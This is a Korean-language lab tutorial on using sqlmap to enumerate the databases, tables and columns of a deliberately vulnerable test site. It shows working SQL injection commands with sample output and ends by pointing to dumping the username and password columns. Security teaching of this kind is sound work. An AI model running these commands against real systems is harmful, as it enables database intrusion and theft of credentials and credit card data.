sqlmap 으로 특정 테이블의 컬럼 열거하기

Kali LinuxBeginner
지금 연습하기

소개

이 실습에서는 sqlmap을 사용하여 데이터베이스 내 특정 테이블의 컬럼 이름과 데이터 타입을 열거하는 방법을 배우게 됩니다. sqlmap은 SQL 인젝션 취약점을 탐지하고 악용하는 과정을 자동화하며 데이터베이스 서버를 장악하는 오픈 소스 침투 테스트 도구입니다. 컬럼을 열거하는 방법을 이해하는 것은 데이터베이스 악용의 중요한 단계이며, 이를 통해 민감한 정보를 정확하게 타겟팅하고 추출할 수 있습니다. 대상 테이블을 지정하기 위해 -T 플래그를 사용하고, 해당 테이블의 컬럼을 나열하기 위해 --columns 플래그를 사용하는 데 중점을 둘 것입니다.

열거할 대상 데이터베이스 및 테이블 선택

이 단계에서는 열거하려는 특정 테이블과 그 안의 데이터베이스를 가상으로 식별합니다. 이 실습에서는 이미 취약한 URL 과 users라는 테이블을 포함하는 testdb라는 데이터베이스를 식별했다고 가정합니다.

먼저 시스템에 sqlmap이 사용 가능한지 확인합니다. 설치되어 있지 않다면 apt를 사용하여 설치할 수 있습니다.

sudo apt update
sudo apt install -y sqlmap

이제 취약한 대상을 시뮬레이션해 보겠습니다. 시연 목적으로 더미 URL 을 사용합니다. 실제 시나리오에서는 SQL 인젝션에 취약한 URL 이 될 것입니다.

이 실습에서는 다음 자리 표시자 URL 을 사용합니다: http://testphp.vulnweb.com/listproducts.php?cat=1. 이것은 테스트에 자주 사용되는 알려진 취약한 대상입니다. 우리는 acuart라는 데이터베이스와 그 안에 users라는 테이블이 있다고 가정할 것입니다. 우리의 목표는 users 테이블의 컬럼을 열거하는 것입니다.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

acuart를 포함한 데이터베이스 목록이 표시되어야 합니다. 이는 대상에 접근 가능하며 sqlmap이 상호 작용할 수 있음을 확인시켜 줍니다.

...
[INFO] 모든 데이터베이스에 대한 데이터를 가져왔습니다.
사용 가능한 데이터베이스 [2]:
[*] acuart
[*] information_schema
...

다음으로 acuart 데이터베이스의 테이블을 확인해 보겠습니다.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables

users를 포함한 테이블 목록이 표시되어야 합니다.

...
[INFO] 데이터베이스 'acuart'의 모든 테이블에 대한 데이터를 가져왔습니다.
데이터베이스: acuart
[10개의 테이블]
+------------+
| artists    |
| carts      |
| categories |
| guestbook  |
| pictures   |
| products   |
| users      |
| ...        |
+------------+
...

이는 대상에 acuart 데이터베이스와 users 테이블이 존재함을 확인시켜 줍니다.

-T 플래그를 사용하여 테이블 지정하기

이 단계에서는 sqlmap에서 열거하려는 대상 테이블을 지정하기 위해 -T 플래그를 사용하는 방법을 배우게 됩니다. -T 플래그는 열거 범위를 좁히기 위해 -D 플래그 (데이터베이스용) 와 함께 사용됩니다.

테이블을 지정하는 기본 구문은 다음과 같습니다:
sqlmap -u <대상_URL> -D <데이터베이스_이름> -T <테이블_이름> [기타_옵션]

이전 단계에서 이어져, 우리는 acuart 데이터베이스와 users 테이블을 식별했습니다. 이제 이 특정 테이블을 대상으로 하는 sqlmap 명령을 준비할 것입니다. 아직 전체 열거를 실행하지는 않고 명령을 구축할 것입니다.

~/project 디렉토리에서 터미널을 엽니다.

echo 'sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users' > command_part1.txt
cat command_part1.txt

이 명령은 sqlmap 명령의 초기 부분을 command_part1.txt라는 파일에 저장한 다음 해당 내용을 표시합니다. 이는 복잡한 명령을 단계별로 구축하는 데 도움이 됩니다.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users

-D acuart -T users를 사용함으로써, 우리는 sqlmap에게 acuart 데이터베이스 내의 users 테이블에 대한 작업을 구체적으로 집중하도록 지시하는 것입니다. 이는 효율적이고 목표 지향적인 열거에 매우 중요합니다.

--columns 플래그를 사용하여 컬럼 나열하기

이 단계에서는 지정된 테이블 내의 컬럼 이름과 데이터 타입을 열거하도록 sqlmap에 지시하는 데 사용되는 --columns 플래그를 소개합니다. 이 플래그는 테이블 구조를 이해하고 데이터 추출에 유용할 수 있는 컬럼을 식별하는 데 필수적입니다.

--columns 플래그는 이전 단계에서 구축하기 시작한 명령에 추가됩니다.

전체 구문은 다음과 같습니다:
sqlmap -u <대상_URL> -D <데이터베이스_이름> -T <테이블_이름> --columns

명령에 --columns 플래그를 추가해 보겠습니다.

echo ' --columns' >> command_part1.txt
cat command_part1.txt

이제 command_part1.txt 파일에는 users 테이블의 컬럼을 열거하기 위한 완전한 sqlmap 명령이 포함되어야 합니다.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns

--columns 플래그는 sqlmap에게 특정 유형의 열거를 수행하도록 지시합니다: 대상 테이블의 사용 가능한 모든 컬럼을 나열하는 것입니다. 이는 데이터베이스 스키마를 매핑하는 데 도움이 되는 강력한 기능입니다.

컬럼 열거를 위한 명령 실행하기

이 단계에서는 이전 단계에서 구성한 완전한 sqlmap 명령을 실행합니다. 이 명령은 sqlmap에게 대상 URL 에 연결하고, acuart 데이터베이스를 식별하며, users 테이블을 대상으로 하고, 해당 테이블 내의 모든 컬럼을 열거하도록 지시합니다.

~/project 디렉토리에 있는지 확인하십시오.

bash command_part1.txt

실행 시 sqlmap은 프로세스를 시작합니다. 프로세스 중에 특정 페이로드 (payload) 를 사용할지 또는 기본 옵션으로 계속할지 등 몇 가지 질문을 할 수 있습니다. 이 실습에서는 일반적으로 기본 선택 사항을 수락하려면 Enter를 누르거나, 프롬프트가 표시되면 y를 눌러 '예'를 선택하면 됩니다.

...
[INFO] 데이터베이스 'acuart'의 테이블 'users'에 대한 모든 컬럼의 데이터를 가져왔습니다.
Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column   | Type      |
+----------+-----------+
| email    | varchar(50) |
| uname    | varchar(20) |
| pass     | varchar(20) |
| cc       | varchar(20) |
| address  | varchar(50) |
| name     | varchar(50) |
| phone    | varchar(20) |
+----------+-----------+
...

출력에는 users 테이블에서 찾은 컬럼 이름과 해당 데이터 타입을 나열하는 테이블이 표시됩니다. 이것이 이 실습의 핵심 목표입니다.

컬럼 이름 및 데이터 타입 검토하기

이 마지막 단계에서는 이전 단계에서 실행한 sqlmap 명령의 출력을 검토합니다. 열거된 컬럼 이름과 해당 데이터 타입을 이해하는 것은 추가적인 공격 (exploitation) 또는 분석에 매우 중요합니다.

이전 명령의 출력을 살펴보십시오. 다음과 유사한 테이블이 표시되어야 합니다.

Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column   | Type      |
+----------+-----------+
| email    | varchar(50) |
| uname    | varchar(20) |
| pass     | varchar(20) |
| cc       | varchar(20) |
| address  | varchar(50) |
| name     | varchar(50) |
| phone    | varchar(20) |
+----------+-----------+

이 출력에서 몇 가지 중요한 컬럼을 식별할 수 있습니다.

  • email: 사용자 이메일 주소를 저장할 가능성이 높습니다.
  • uname: 사용자 이름을 저장할 가능성이 높습니다.
  • pass: 사용자 비밀번호 (또는 비밀번호 해시) 를 저장할 가능성이 높습니다.
  • cc: 신용카드 정보를 저장할 수 있습니다.
  • address: 사용자 주소를 저장합니다.
  • name: 사용자 전체 이름을 저장합니다.
  • phone: 사용자 전화번호를 저장합니다.

Type 열은 각 컬럼의 데이터 타입 (예: varchar(50)은 최대 50 자까지의 가변 길이 문자열을 의미) 을 나타냅니다. 이 정보는 -C 플래그를 사용하여 특정 컬럼에서 데이터를 덤프하는 것과 같은 후속 sqlmap 명령을 작성하는 데 매우 중요합니다. 예를 들어, 사용자 이름과 비밀번호를 덤프하려면 -C uname,pass --dump를 사용합니다.

이 단계는 sqlmap을 사용하여 특정 테이블의 컬럼을 열거하는 프로세스를 완료합니다. 이제 특정 테이블을 대상으로 하고 해당 컬럼 구조를 검색하는 방법을 명확하게 이해했습니다.

요약

이 실습에서는 sqlmap을 사용하여 특정 테이블의 컬럼을 열거하는 방법을 성공적으로 학습했습니다. 대상 데이터베이스와 테이블을 식별하는 것으로 시작하여 -D (데이터베이스), -T (테이블), --columns 플래그를 사용하여 점진적으로 sqlmap 명령을 구성했습니다. 마지막으로 명령을 실행하고 출력을 검토하여 열거된 컬럼 이름과 해당 데이터 타입의 중요성을 이해했습니다. 이 기술은 데이터베이스 침투 테스트 또는 보안 평가를 수행하는 모든 사람에게 기본이 되며, 민감한 데이터를 효과적으로 추출하는 데 필요한 정보를 제공합니다.